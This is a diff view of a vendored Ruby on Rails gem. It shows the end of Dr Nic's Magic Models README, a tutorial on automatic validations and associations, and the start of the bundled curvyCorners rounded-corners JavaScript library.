<pre syntax="ruby">
|
||||
create_table :groups do |t|
|
||||
t.column :name, :string, :null => false
|
||||
t.column :description, :string
|
||||
end
|
||||
</pre>
|
||||
|
||||
and <code>003_create_memberships.rb</code> with:
|
||||
<pre syntax="ruby">
|
||||
create_table :memberships do |t|
|
||||
t.column :person_id, :integer, :null => false
|
||||
t.column :group_id, :integer, :null => false
|
||||
end
|
||||
</pre>
|
||||
|
||||
And run your migrations to create the three tables:
|
||||
<pre>
|
||||
rake db:migrate
|
||||
</pre>
|
||||
|
||||
h3. And now for some "woofle dust":http://en.wikipedia.org/wiki/List_of_conjuring_terms ...
|
||||
|
||||
At the end of <code>config/environment.rb</code> add the following line:
|
||||
|
||||
<pre>
|
||||
require 'dr_nic_magic_models'
|
||||
</pre>
|
||||
|
||||
Now, let's do a magic trick. First, let's check our model classes (<code>app/models/person.rb</code> etc):
|
||||
|
||||
<pre syntax="ruby">
|
||||
class Person < ActiveRecord::Base
|
||||
end
|
||||
class Group < ActiveRecord::Base
|
||||
end
|
||||
class Membership < ActiveRecord::Base
|
||||
end
|
||||
</pre>
|
||||
|
||||
Nothing suspicious here. We have no validations and no associations. Just some plain old model classes.
|
||||
|
||||
UPDATE: To turn on magic validations, you now need to invoke <code>generate_validations</code> on defined classes. So, update your model classes:
|
||||
|
||||
<pre syntax="ruby">
|
||||
class Person < ActiveRecord::Base
|
||||
generate_validations
|
||||
end
|
||||
class Group < ActiveRecord::Base
|
||||
generate_validations
|
||||
end
|
||||
class Membership < ActiveRecord::Base
|
||||
generate_validations
|
||||
end
|
||||
</pre>
|
||||
|
||||
For this trick, we'll need an ordinary console session. Any old one lying around the house will do.
|
||||
|
||||
<pre>
|
||||
ruby script/console
|
||||
</pre>
|
||||
|
||||
Now a normal model class is valid until you explicitly add <code>validates_xxx</code> commands.
|
||||
With Dr Nic's Magic Models:
|
||||
|
||||
<pre syntax="ruby">
|
||||
person = Person.new
|
||||
=> #<Person:0x393e0f8 @attributes={"lastname"=>"", "firstname"=>"", "email"=>""}, @new_record=true>
|
||||
person.valid?
|
||||
=> false
|
||||
person.errors
|
||||
=> #<ActiveRecord::Errors:0x3537b38 @errors={
|
||||
"firstname"=>["can't be blank", "is too long (maximum is 255 characters)"],
|
||||
"lastname"=>["can't be blank", "is too long (maximum is 255 characters)"],
|
||||
"email"=>["can't be blank", "is too long (maximum is 255 characters)"]},
|
||||
@base=#<Person:0x3538bf0 @errors=#<ActiveRecord::Errors:0x3537b38 ...>, @new_record=true,
|
||||
@attributes={"lastname"=>nil, "firstname"=>nil, "email"=>nil}>>
|
||||
</pre>
|
||||
|
||||
*Kapoow!* Instant validation! (NOTE: not as instant as it used to be - remember - you need to call <code>generate_validations</code> on each class as required)
|
||||
|
||||
Because you specified the three columns as <code>:null => false</code>,
|
||||
your ActiveRecord models will now automagically generated <code>validates_presence_of</code>
|
||||
for each non-null field, plus several other validations (since version 0.8.0).
|
||||
|
||||
Ok, we're just warming up.
|
||||
|
||||
Your models normally require association commands (<code>has_many</code>, <code>belongs_to</code>, etc, as
|
||||
demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for.
|
||||
|
||||
Let's just watch what Dr Nic's Magic Models can do without any effort at all...
|
||||
|
||||
<pre syntax="ruby">
|
||||
person = Person.create(:firstname => "Nic", :lastname => "Williams", :email => "drnicwilliams@gmail.com")
|
||||
group = Group.create(:name => "Magic Models Forum", :description => "http://groups.google.com/magicmodels")
|
||||
membership = Membership.create(:person => person, :group => group)
|
||||
person.memberships.length
|
||||
=> 1
|
||||
membership.person
|
||||
=> <Person:0x38898e8 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
|
||||
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
|
||||
group.memberships
|
||||
=> [<Membership:0x3c8cd70 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
|
||||
</pre>
|
||||
|
||||
|
||||
That final association trick is a ripper. Automatic generation of <code>has_many :through</code> associations...
|
||||
|
||||
<pre syntax="ruby">
|
||||
>> person.groups
|
||||
=> [<Group:0x39047e0 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
|
||||
>> group.people
|
||||
=> [<Person:0x3c33580 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
|
||||
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>]
|
||||
</pre>
|
||||
|
||||
h3. Drum roll...
|
||||
|
||||
Ladies and gentlemen. For my final feat of magical mastery, I'll ask you to do
|
||||
something you've never done before. This illusion is akin to the "floating lady":http://www.toytent.com/Posters/985.html
|
||||
illusion that has been passed down through generations of magicians.
|
||||
|
||||
Exit your console session.
|
||||
|
||||
DELETE your three model classes: <code>person.rb, group.rb, and membership.rb</code> from the
|
||||
<code>app/models</code> folder. (You can always get them back via the model generator... be fearless!)
|
||||
|
||||
<pre>rm app/models/*.rb</pre>
|
||||
|
||||
Re-launch your console.
|
||||
|
||||
*drums are still rolling...*
|
||||
|
||||
Be prepared to applaud loudly...
|
||||
|
||||
<pre syntax="ruby">
|
||||
>> Person
|
||||
=> Person
|
||||
</pre>
|
||||
|
||||
You applaud loudly, but watch for more...
|
||||
|
||||
<pre syntax="ruby">
|
||||
>> Person.new.valid?
|
||||
=> false
|
||||
>> person = Person.find(1)
|
||||
=> <Person:0x3958930 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
|
||||
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
|
||||
>> person.valid?
|
||||
=> true
|
||||
>> person.memberships
|
||||
=> [<Membership:0x393a000 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
|
||||
>> person.groups
|
||||
=> [<Group:0x390df60 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
|
||||
</pre>
|
||||
|
||||
h3. Tada!
|
||||
|
||||
The end.
|
||||
|
||||
h3. Use modules to scope your magic
|
||||
|
||||
Only want to pick up tables starting with <code>blog_</code>?
|
||||
|
||||
<pre syntax="ruby">module Blog
|
||||
magic_module :table_name_prefix => 'blog_'
|
||||
end
|
||||
|
||||
Blog::Post.table_name # => 'blog_posts'
|
||||
</pre>
|
||||
|
||||
h2. Dr Nic's Blog
|
||||
|
||||
"http://www.drnicwilliams.com":http://www.drnicwilliams.com - for future announcements and
|
||||
other stories and things.
|
||||
|
||||
h2. Articles about Magic Models
|
||||
|
||||
* "Announcement":http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/
|
||||
* "BTS - Class creation":http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/
|
||||
|
||||
|
||||
h2. Forum
|
||||
|
||||
"http://groups.google.com/group/magicmodels":http://groups.google.com/group/magicmodels
|
||||
|
||||
h2. Licence
|
||||
|
||||
This code is free to use under the terms of the MIT licence.
|
||||
|
||||
h2. Contact
|
||||
|
||||
Comments are welcome. Send an email to "Dr Nic Williams":mailto:drnicwilliams@gmail.com
|
||||
or via his blog at "http://www.drnicwilliams.com":http://www.drnicwilliams.com
|
||||
|
||||
285
vendor/gems/dr_nic_magic_models-0.9.2/website/javascripts/rounded_corners_lite.inc.js
vendored
Normal file
285
vendor/gems/dr_nic_magic_models-0.9.2/website/javascripts/rounded_corners_lite.inc.js
vendored
Normal file
@@ -0,0 +1,285 @@
|
||||
|
||||
/****************************************************************
|
||||
* *
|
||||
* curvyCorners *
|
||||
* ------------ *
|
||||
* *
|
||||
* This script generates rounded corners for your divs. *
|
||||
* *
|
||||
* Version 1.2.9 *
|
||||
* Copyright (c) 2006 Cameron Cooke *
|
||||
* By: Cameron Cooke and Tim Hutchison. *
|
||||
* *
|
||||
* *
|
||||
* Website: http://www.curvycorners.net *
|
||||
* Email: info@totalinfinity.com *
|
||||
* Forum: http://www.curvycorners.net/forum/ *
|
||||
* *
|
||||
* *
|
||||
* This library is free software; you can redistribute *
|
||||
* it and/or modify it under the terms of the GNU *
|
||||
* Lesser General Public License as published by the *
|
||||
* Free Software Foundation; either version 2.1 of the *
|
||||
* License, or (at your option) any later version. *
|
||||
* *
|
||||
* This library is distributed in the hope that it will *
|
||||
* be useful, but WITHOUT ANY WARRANTY; without even the *
|
||||
* implied warranty of MERCHANTABILITY or FITNESS FOR A *
|
||||
* PARTICULAR PURPOSE. See the GNU Lesser General Public *
|
||||
* License for more details. *
|
||||
* *
|
||||
* You should have received a copy of the GNU Lesser *
|
||||
* General Public License along with this library; *
|
||||
* Inc., 59 Temple Place, Suite 330, Boston, *
|
||||
* MA 02111-1307 USA *
|
||||
* *
|
||||
****************************************************************/
|
||||
|
||||
var isIE = navigator.userAgent.toLowerCase().indexOf("msie") > -1; var isMoz = document.implementation && document.implementation.createDocument; var isSafari = ((navigator.userAgent.toLowerCase().indexOf('safari')!=-1)&&(navigator.userAgent.toLowerCase().indexOf('mac')!=-1))?true:false; function curvyCorners()
|
||||
{ if(typeof(arguments[0]) != "object") throw newCurvyError("First parameter of curvyCorners() must be an object."); if(typeof(arguments[1]) != "object" && typeof(arguments[1]) != "string") throw newCurvyError("Second parameter of curvyCorners() must be an object or a class name."); if(typeof(arguments[1]) == "string")
|
||||
{ var startIndex = 0; var boxCol = getElementsByClass(arguments[1]);}
|
||||
else
|
||||
{ var startIndex = 1; var boxCol = arguments;}
|
||||
var curvyCornersCol = new Array(); if(arguments[0].validTags)
|
||||
var validElements = arguments[0].validTags; else
|
||||
var validElements = ["div"]; for(var i = startIndex, j = boxCol.length; i < j; i++)
|
||||
{ var currentTag = boxCol[i].tagName.toLowerCase(); if(inArray(validElements, currentTag) !== false)
|
||||
{ curvyCornersCol[curvyCornersCol.length] = new curvyObject(arguments[0], boxCol[i]);}
|
||||
}
|
||||
this.objects = curvyCornersCol; this.applyCornersToAll = function()
|
||||
{ for(var x = 0, k = this.objects.length; x < k; x++)
|
||||
{ this.objects[x].applyCorners();}
|
||||
}
|
||||
}
|
||||
function curvyObject()
|
||||
{ this.box = arguments[1]; this.settings = arguments[0]; this.topContainer = null; this.bottomContainer = null; this.masterCorners = new Array(); this.contentDIV = null; var boxHeight = get_style(this.box, "height", "height"); var boxWidth = get_style(this.box, "width", "width"); var borderWidth = get_style(this.box, "borderTopWidth", "border-top-width"); var borderColour = get_style(this.box, "borderTopColor", "border-top-color"); var boxColour = get_style(this.box, "backgroundColor", "background-color"); var backgroundImage = get_style(this.box, "backgroundImage", "background-image"); var boxPosition = get_style(this.box, "position", "position"); var boxPadding = get_style(this.box, "paddingTop", "padding-top"); this.boxHeight = parseInt(((boxHeight != "" && boxHeight != "auto" && boxHeight.indexOf("%") == -1)? boxHeight.substring(0, boxHeight.indexOf("px")) : this.box.scrollHeight)); this.boxWidth = parseInt(((boxWidth != "" && boxWidth != "auto" && boxWidth.indexOf("%") == -1)? boxWidth.substring(0, boxWidth.indexOf("px")) : this.box.scrollWidth)); this.borderWidth = parseInt(((borderWidth != "" && borderWidth.indexOf("px") !== -1)? borderWidth.slice(0, borderWidth.indexOf("px")) : 0)); this.boxColour = format_colour(boxColour); this.boxPadding = parseInt(((boxPadding != "" && boxPadding.indexOf("px") !== -1)? boxPadding.slice(0, boxPadding.indexOf("px")) : 0)); this.borderColour = format_colour(borderColour); this.borderString = this.borderWidth + "px" + " solid " + this.borderColour; this.backgroundImage = ((backgroundImage != "none")? backgroundImage : ""); this.boxContent = this.box.innerHTML; if(boxPosition != "absolute") this.box.style.position = "relative"; this.box.style.padding = "0px"; if(isIE && boxWidth == "auto" && boxHeight == "auto") this.box.style.width = "100%"; if(this.settings.autoPad == true && this.boxPadding > 0)
|
||||
this.box.innerHTML = ""; this.applyCorners = function()
|
||||
{ for(var t = 0; t < 2; t++)
|
||||
{ switch(t)
|
||||
{ case 0:
|
||||
if(this.settings.tl || this.settings.tr)
|
||||
{ var newMainContainer = document.createElement("DIV"); newMainContainer.style.width = "100%"; newMainContainer.style.fontSize = "1px"; newMainContainer.style.overflow = "hidden"; newMainContainer.style.position = "absolute"; newMainContainer.style.paddingLeft = this.borderWidth + "px"; newMainContainer.style.paddingRight = this.borderWidth + "px"; var topMaxRadius = Math.max(this.settings.tl ? this.settings.tl.radius : 0, this.settings.tr ? this.settings.tr.radius : 0); newMainContainer.style.height = topMaxRadius + "px"; newMainContainer.style.top = 0 - topMaxRadius + "px"; newMainContainer.style.left = 0 - this.borderWidth + "px"; this.topContainer = this.box.appendChild(newMainContainer);}
|
||||
break; case 1:
|
||||
if(this.settings.bl || this.settings.br)
|
||||
{ var newMainContainer = document.createElement("DIV"); newMainContainer.style.width = "100%"; newMainContainer.style.fontSize = "1px"; newMainContainer.style.overflow = "hidden"; newMainContainer.style.position = "absolute"; newMainContainer.style.paddingLeft = this.borderWidth + "px"; newMainContainer.style.paddingRight = this.borderWidth + "px"; var botMaxRadius = Math.max(this.settings.bl ? this.settings.bl.radius : 0, this.settings.br ? this.settings.br.radius : 0); newMainContainer.style.height = botMaxRadius + "px"; newMainContainer.style.bottom = 0 - botMaxRadius + "px"; newMainContainer.style.left = 0 - this.borderWidth + "px"; this.bottomContainer = this.box.appendChild(newMainContainer);}
|
||||
break;}
|
||||
}
|
||||
if(this.topContainer) this.box.style.borderTopWidth = "0px"; if(this.bottomContainer) this.box.style.borderBottomWidth = "0px"; var corners = ["tr", "tl", "br", "bl"]; for(var i in corners)
|
||||
{ if(i > -1 < 4)
|
||||
{ var cc = corners[i]; if(!this.settings[cc])
|
||||
{ if(((cc == "tr" || cc == "tl") && this.topContainer != null) || ((cc == "br" || cc == "bl") && this.bottomContainer != null))
|
||||
{ var newCorner = document.createElement("DIV"); newCorner.style.position = "relative"; newCorner.style.fontSize = "1px"; newCorner.style.overflow = "hidden"; if(this.backgroundImage == "")
|
||||
newCorner.style.backgroundColor = this.boxColour; else
|
||||
newCorner.style.backgroundImage = this.backgroundImage; switch(cc)
|
||||
{ case "tl":
|
||||
newCorner.style.height = topMaxRadius - this.borderWidth + "px"; newCorner.style.marginRight = this.settings.tr.radius - (this.borderWidth*2) + "px"; newCorner.style.borderLeft = this.borderString; newCorner.style.borderTop = this.borderString; newCorner.style.left = -this.borderWidth + "px"; break; case "tr":
|
||||
newCorner.style.height = topMaxRadius - this.borderWidth + "px"; newCorner.style.marginLeft = this.settings.tl.radius - (this.borderWidth*2) + "px"; newCorner.style.borderRight = this.borderString; newCorner.style.borderTop = this.borderString; newCorner.style.backgroundPosition = "-" + (topMaxRadius + this.borderWidth) + "px 0px"; newCorner.style.left = this.borderWidth + "px"; break; case "bl":
|
||||
newCorner.style.height = botMaxRadius - this.borderWidth + "px"; newCorner.style.marginRight = this.settings.br.radius - (this.borderWidth*2) + "px"; newCorner.style.borderLeft = this.borderString; newCorner.style.borderBottom = this.borderString; newCorner.style.left = -this.borderWidth + "px"; newCorner.style.backgroundPosition = "-" + (this.borderWidth) + "px -" + (this.boxHeight + (botMaxRadius + this.borderWidth)) + "px"; break; case "br":
|
||||
newCorner.style.height = botMaxRadius - this.borderWidth + "px"; newCorner.style.marginLeft = this.settings.bl.radius - (this.borderWidth*2) + "px"; newCorner.style.borderRight = this.borderString; newCorner.style.borderBottom = this.borderString; newCorner.style.left = this.borderWidth + "px"
|
||||
newCorner.style.backgroundPosition = "-" + (botMaxRadius + this.borderWidth) + "px -" + (this.boxHeight + (botMaxRadius + this.borderWidth)) + "px"; break;}
|
||||
}
|
||||
}
|
||||
else
|
||||
{ if(this.masterCorners[this.settings[cc].radius])
|
||||
{ var newCorner = this.masterCorners[this.settings[cc].radius].cloneNode(true);}
|
||||
else
|
||||
{ var newCorner = document.createElement("DIV"); newCorner.style.height = this.settings[cc].radius + "px"; newCorner.style.width = this.settings[cc].radius + "px"; newCorner.style.position = "absolute"; newCorner.style.fontSize = "1px"; newCorner.style.overflow = "hidden"; var borderRadius = parseInt(this.settings[cc].radius - this.borderWidth); for(var intx = 0, j = this.settings[cc].radius; intx < j; intx++)
|
||||
{ if((intx +1) >= borderRadius)
|
||||
var y1 = -1; else
|
||||
var y1 = (Math.floor(Math.sqrt(Math.pow(borderRadius, 2) - Math.pow((intx+1), 2))) - 1); if(borderRadius != j)
|
||||
{ if((intx) >= borderRadius)
|
||||
var y2 = -1; else
|
||||
var y2 = Math.ceil(Math.sqrt(Math.pow(borderRadius,2) - Math.pow(intx, 2))); if((intx+1) >= j)
|
||||
var y3 = -1; else
|
||||
var y3 = (Math.floor(Math.sqrt(Math.pow(j ,2) - Math.pow((intx+1), 2))) - 1);}
|
||||
if((intx) >= j)
|
||||
var y4 = -1; else
|
||||
var y4 = Math.ceil(Math.sqrt(Math.pow(j ,2) - Math.pow(intx, 2))); if(y1 > -1) this.drawPixel(intx, 0, this.boxColour, 100, (y1+1), newCorner, -1, this.settings[cc].radius); if(borderRadius != j)
|
||||
{ for(var inty = (y1 + 1); inty < y2; inty++)
|
||||
{ if(this.settings.antiAlias)
|
||||
{ if(this.backgroundImage != "")
|
||||
{ var borderFract = (pixelFraction(intx, inty, borderRadius) * 100); if(borderFract < 30)
|
||||
{ this.drawPixel(intx, inty, this.borderColour, 100, 1, newCorner, 0, this.settings[cc].radius);}
|
||||
else
|
||||
{ this.drawPixel(intx, inty, this.borderColour, 100, 1, newCorner, -1, this.settings[cc].radius);}
|
||||
}
|
||||
else
|
||||
{ var pixelcolour = BlendColour(this.boxColour, this.borderColour, pixelFraction(intx, inty, borderRadius)); this.drawPixel(intx, inty, pixelcolour, 100, 1, newCorner, 0, this.settings[cc].radius, cc);}
|
||||
}
|
||||
}
|
||||
if(this.settings.antiAlias)
|
||||
{ if(y3 >= y2)
|
||||
{ if (y2 == -1) y2 = 0; this.drawPixel(intx, y2, this.borderColour, 100, (y3 - y2 + 1), newCorner, 0, 0);}
|
||||
}
|
||||
else
|
||||
{ if(y3 >= y1)
|
||||
{ this.drawPixel(intx, (y1 + 1), this.borderColour, 100, (y3 - y1), newCorner, 0, 0);}
|
||||
}
|
||||
var outsideColour = this.borderColour;}
|
||||
else
|
||||
{ var outsideColour = this.boxColour; var y3 = y1;}
|
||||
if(this.settings.antiAlias)
|
||||
{ for(var inty = (y3 + 1); inty < y4; inty++)
|
||||
{ this.drawPixel(intx, inty, outsideColour, (pixelFraction(intx, inty , j) * 100), 1, newCorner, ((this.borderWidth > 0)? 0 : -1), this.settings[cc].radius);}
|
||||
}
|
||||
}
|
||||
this.masterCorners[this.settings[cc].radius] = newCorner.cloneNode(true);}
|
||||
if(cc != "br")
|
||||
{ for(var t = 0, k = newCorner.childNodes.length; t < k; t++)
|
||||
{ var pixelBar = newCorner.childNodes[t]; var pixelBarTop = parseInt(pixelBar.style.top.substring(0, pixelBar.style.top.indexOf("px"))); var pixelBarLeft = parseInt(pixelBar.style.left.substring(0, pixelBar.style.left.indexOf("px"))); var pixelBarHeight = parseInt(pixelBar.style.height.substring(0, pixelBar.style.height.indexOf("px"))); if(cc == "tl" || cc == "bl"){ pixelBar.style.left = this.settings[cc].radius -pixelBarLeft -1 + "px";}
|
||||
if(cc == "tr" || cc == "tl"){ pixelBar.style.top = this.settings[cc].radius -pixelBarHeight -pixelBarTop + "px";}
|
||||
switch(cc)
|
||||
{ case "tr":
|
||||
pixelBar.style.backgroundPosition = "-" + Math.abs((this.boxWidth - this.settings[cc].radius + this.borderWidth) + pixelBarLeft) + "px -" + Math.abs(this.settings[cc].radius -pixelBarHeight -pixelBarTop - this.borderWidth) + "px"; break; case "tl":
|
||||
pixelBar.style.backgroundPosition = "-" + Math.abs((this.settings[cc].radius -pixelBarLeft -1) - this.borderWidth) + "px -" + Math.abs(this.settings[cc].radius -pixelBarHeight -pixelBarTop - this.borderWidth) + "px"; break; case "bl":
|
||||
pixelBar.style.backgroundPosition = "-" + Math.abs((this.settings[cc].radius -pixelBarLeft -1) - this.borderWidth) + "px -" + Math.abs((this.boxHeight + this.settings[cc].radius + pixelBarTop) -this.borderWidth) + "px"; break;}
|
||||
}
|
||||
}
|
||||
}
|
||||
if(newCorner)
|
||||
{ switch(cc)
|
||||
{ case "tl":
|
||||
if(newCorner.style.position == "absolute") newCorner.style.top = "0px"; if(newCorner.style.position == "absolute") newCorner.style.left = "0px"; if(this.topContainer) this.topContainer.appendChild(newCorner); break; case "tr":
|
||||
if(newCorner.style.position == "absolute") newCorner.style.top = "0px"; if(newCorner.style.position == "absolute") newCorner.style.right = "0px"; if(this.topContainer) this.topContainer.appendChild(newCorner); break; case "bl":
|
||||
if(newCorner.style.position == "absolute") newCorner.style.bottom = "0px"; if(newCorner.style.position == "absolute") newCorner.style.left = "0px"; if(this.bottomContainer) this.bottomContainer.appendChild(newCorner); break; case "br":
|
||||
if(newCorner.style.position == "absolute") newCorner.style.bottom = "0px"; if(newCorner.style.position == "absolute") newCorner.style.right = "0px"; if(this.bottomContainer) this.bottomContainer.appendChild(newCorner); break;}
|
||||
}
|
||||
}
|
||||
}
|
||||
var radiusDiff = new Array(); radiusDiff["t"] = Math.abs(this.settings.tl.radius - this.settings.tr.radius)
|
||||
radiusDiff["b"] = Math.abs(this.settings.bl.radius - this.settings.br.radius); for(z in radiusDiff)
|
||||
{ if(z == "t" || z == "b")
|
||||
{ if(radiusDiff[z])
|
||||
{ var smallerCornerType = ((this.settings[z + "l"].radius < this.settings[z + "r"].radius)? z +"l" : z +"r"); var newFiller = document.createElement("DIV"); newFiller.style.height = radiusDiff[z] + "px"; newFiller.style.width = this.settings[smallerCornerType].radius+ "px"
|
||||
newFiller.style.position = "absolute"; newFiller.style.fontSize = "1px"; newFiller.style.overflow = "hidden"; newFiller.style.backgroundColor = this.boxColour; switch(smallerCornerType)
|
||||
{ case "tl":
|
||||
newFiller.style.bottom = "0px"; newFiller.style.left = "0px"; newFiller.style.borderLeft = this.borderString; this.topContainer.appendChild(newFiller); break; case "tr":
|
||||
newFiller.style.bottom = "0px"; newFiller.style.right = "0px"; newFiller.style.borderRight = this.borderString; this.topContainer.appendChild(newFiller); break; case "bl":
|
||||
newFiller.style.top = "0px"; newFiller.style.left = "0px"; newFiller.style.borderLeft = this.borderString; this.bottomContainer.appendChild(newFiller); break; case "br":
|
||||
newFiller.style.top = "0px"; newFiller.style.right = "0px"; newFiller.style.borderRight = this.borderString; this.bottomContainer.appendChild(newFiller); break;}
|
||||
}
|
||||
var newFillerBar = document.createElement("DIV"); newFillerBar.style.position = "relative"; newFillerBar.style.fontSize = "1px"; newFillerBar.style.overflow = "hidden"; newFillerBar.style.backgroundColor = this.boxColour; newFillerBar.style.backgroundImage = this.backgroundImage; switch(z)
|
||||
{ case "t":
|
||||
if(this.topContainer)
|
||||
{ if(this.settings.tl.radius && this.settings.tr.radius)
|
||||
{ newFillerBar.style.height = topMaxRadius - this.borderWidth + "px"; newFillerBar.style.marginLeft = this.settings.tl.radius - this.borderWidth + "px"; newFillerBar.style.marginRight = this.settings.tr.radius - this.borderWidth + "px"; newFillerBar.style.borderTop = this.borderString; if(this.backgroundImage != "")
|
||||
newFillerBar.style.backgroundPosition = "-" + (topMaxRadius + this.borderWidth) + "px 0px"; this.topContainer.appendChild(newFillerBar);}
|
||||
this.box.style.backgroundPosition = "0px -" + (topMaxRadius - this.borderWidth) + "px";}
|
||||
break; case "b":
|
||||
if(this.bottomContainer)
|
||||
{ if(this.settings.bl.radius && this.settings.br.radius)
|
||||
{ newFillerBar.style.height = botMaxRadius - this.borderWidth + "px"; newFillerBar.style.marginLeft = this.settings.bl.radius - this.borderWidth + "px"; newFillerBar.style.marginRight = this.settings.br.radius - this.borderWidth + "px"; newFillerBar.style.borderBottom = this.borderString; if(this.backgroundImage != "")
|
||||
newFillerBar.style.backgroundPosition = "-" + (botMaxRadius + this.borderWidth) + "px -" + (this.boxHeight + (topMaxRadius + this.borderWidth)) + "px"; this.bottomContainer.appendChild(newFillerBar);}
|
||||
}
|
||||
break;}
|
||||
}
|
||||
}
|
||||
if(this.settings.autoPad == true && this.boxPadding > 0)
|
||||
{ var contentContainer = document.createElement("DIV"); contentContainer.style.position = "relative"; contentContainer.innerHTML = this.boxContent; contentContainer.className = "autoPadDiv"; var topPadding = Math.abs(topMaxRadius - this.boxPadding); var botPadding = Math.abs(botMaxRadius - this.boxPadding); if(topMaxRadius < this.boxPadding)
|
||||
contentContainer.style.paddingTop = topPadding + "px"; if(botMaxRadius < this.boxPadding)
|
||||
contentContainer.style.paddingBottom = botMaxRadius + "px"; contentContainer.style.paddingLeft = this.boxPadding + "px"; contentContainer.style.paddingRight = this.boxPadding + "px"; this.contentDIV = this.box.appendChild(contentContainer);}
|
||||
}
|
||||
this.drawPixel = function(intx, inty, colour, transAmount, height, newCorner, image, cornerRadius)
|
||||
{ var pixel = document.createElement("DIV"); pixel.style.height = height + "px"; pixel.style.width = "1px"; pixel.style.position = "absolute"; pixel.style.fontSize = "1px"; pixel.style.overflow = "hidden"; var topMaxRadius = Math.max(this.settings["tr"].radius, this.settings["tl"].radius); if(image == -1 && this.backgroundImage != "")
|
||||
{ pixel.style.backgroundImage = this.backgroundImage; pixel.style.backgroundPosition = "-" + (this.boxWidth - (cornerRadius - intx) + this.borderWidth) + "px -" + ((this.boxHeight + topMaxRadius + inty) -this.borderWidth) + "px";}
|
||||
else
|
||||
{ pixel.style.backgroundColor = colour;}
|
||||
if (transAmount != 100)
|
||||
setOpacity(pixel, transAmount); pixel.style.top = inty + "px"; pixel.style.left = intx + "px"; newCorner.appendChild(pixel);}
|
||||
}
|
||||
function insertAfter(parent, node, referenceNode)
|
||||
{ parent.insertBefore(node, referenceNode.nextSibling);}
|
||||
function BlendColour(Col1, Col2, Col1Fraction)
|
||||
{ var red1 = parseInt(Col1.substr(1,2),16); var green1 = parseInt(Col1.substr(3,2),16); var blue1 = parseInt(Col1.substr(5,2),16); var red2 = parseInt(Col2.substr(1,2),16); var green2 = parseInt(Col2.substr(3,2),16); var blue2 = parseInt(Col2.substr(5,2),16); if(Col1Fraction > 1 || Col1Fraction < 0) Col1Fraction = 1; var endRed = Math.round((red1 * Col1Fraction) + (red2 * (1 - Col1Fraction))); if(endRed > 255) endRed = 255; if(endRed < 0) endRed = 0; var endGreen = Math.round((green1 * Col1Fraction) + (green2 * (1 - Col1Fraction))); if(endGreen > 255) endGreen = 255; if(endGreen < 0) endGreen = 0; var endBlue = Math.round((blue1 * Col1Fraction) + (blue2 * (1 - Col1Fraction))); if(endBlue > 255) endBlue = 255; if(endBlue < 0) endBlue = 0; return "#" + IntToHex(endRed)+ IntToHex(endGreen)+ IntToHex(endBlue);}
|
||||
function IntToHex(strNum)
|
||||
{ base = strNum / 16; rem = strNum % 16; base = base - (rem / 16); baseS = MakeHex(base); remS = MakeHex(rem); return baseS + '' + remS;}
|
||||
function MakeHex(x)
|
||||
{ if((x >= 0) && (x <= 9))
|
||||
{ return x;}
|
||||
else
|
||||
{ switch(x)
|
||||
{ case 10: return "A"; case 11: return "B"; case 12: return "C"; case 13: return "D"; case 14: return "E"; case 15: return "F";}
|
||||
}
|
||||
}
|
||||
function pixelFraction(x, y, r)
|
||||
{ var pixelfraction = 0; var xvalues = new Array(1); var yvalues = new Array(1); var point = 0; var whatsides = ""; var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(x,2))); if ((intersect >= y) && (intersect < (y+1)))
|
||||
{ whatsides = "Left"; xvalues[point] = 0; yvalues[point] = intersect - y; point = point + 1;}
|
||||
var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(y+1,2))); if ((intersect >= x) && (intersect < (x+1)))
|
||||
{ whatsides = whatsides + "Top"; xvalues[point] = intersect - x; yvalues[point] = 1; point = point + 1;}
|
||||
var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(x+1,2))); if ((intersect >= y) && (intersect < (y+1)))
|
||||
{ whatsides = whatsides + "Right"; xvalues[point] = 1; yvalues[point] = intersect - y; point = point + 1;}
|
||||
var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(y,2))); if ((intersect >= x) && (intersect < (x+1)))
|
||||
{ whatsides = whatsides + "Bottom"; xvalues[point] = intersect - x; yvalues[point] = 0;}
|
||||
switch (whatsides)
|
||||
{ case "LeftRight":
|
||||
pixelfraction = Math.min(yvalues[0],yvalues[1]) + ((Math.max(yvalues[0],yvalues[1]) - Math.min(yvalues[0],yvalues[1]))/2); break; case "TopRight":
|
||||
pixelfraction = 1-(((1-xvalues[0])*(1-yvalues[1]))/2); break; case "TopBottom":
|
||||
pixelfraction = Math.min(xvalues[0],xvalues[1]) + ((Math.max(xvalues[0],xvalues[1]) - Math.min(xvalues[0],xvalues[1]))/2); break; case "LeftBottom":
|
||||
pixelfraction = (yvalues[0]*xvalues[1])/2; break; default:
|
||||
pixelfraction = 1;}
|
||||
return pixelfraction;}
|
||||
function rgb2Hex(rgbColour)
|
||||
{ try{ var rgbArray = rgb2Array(rgbColour); var red = parseInt(rgbArray[0]); var green = parseInt(rgbArray[1]); var blue = parseInt(rgbArray[2]); var hexColour = "#" + IntToHex(red) + IntToHex(green) + IntToHex(blue);}
|
||||
catch(e){ alert("There was an error converting the RGB value to Hexadecimal in function rgb2Hex");}
|
||||
return hexColour;}
|
||||
function rgb2Array(rgbColour)
|
||||
{ var rgbValues = rgbColour.substring(4, rgbColour.indexOf(")")); var rgbArray = rgbValues.split(", "); return rgbArray;}
|
||||
function setOpacity(obj, opacity)
|
||||
{ opacity = (opacity == 100)?99.999:opacity; if(isSafari && obj.tagName != "IFRAME")
|
||||
{ var rgbArray = rgb2Array(obj.style.backgroundColor); var red = parseInt(rgbArray[0]); var green = parseInt(rgbArray[1]); var blue = parseInt(rgbArray[2]); obj.style.backgroundColor = "rgba(" + red + ", " + green + ", " + blue + ", " + opacity/100 + ")";}
|
||||
else if(typeof(obj.style.opacity) != "undefined")
|
||||
{ obj.style.opacity = opacity/100;}
|
||||
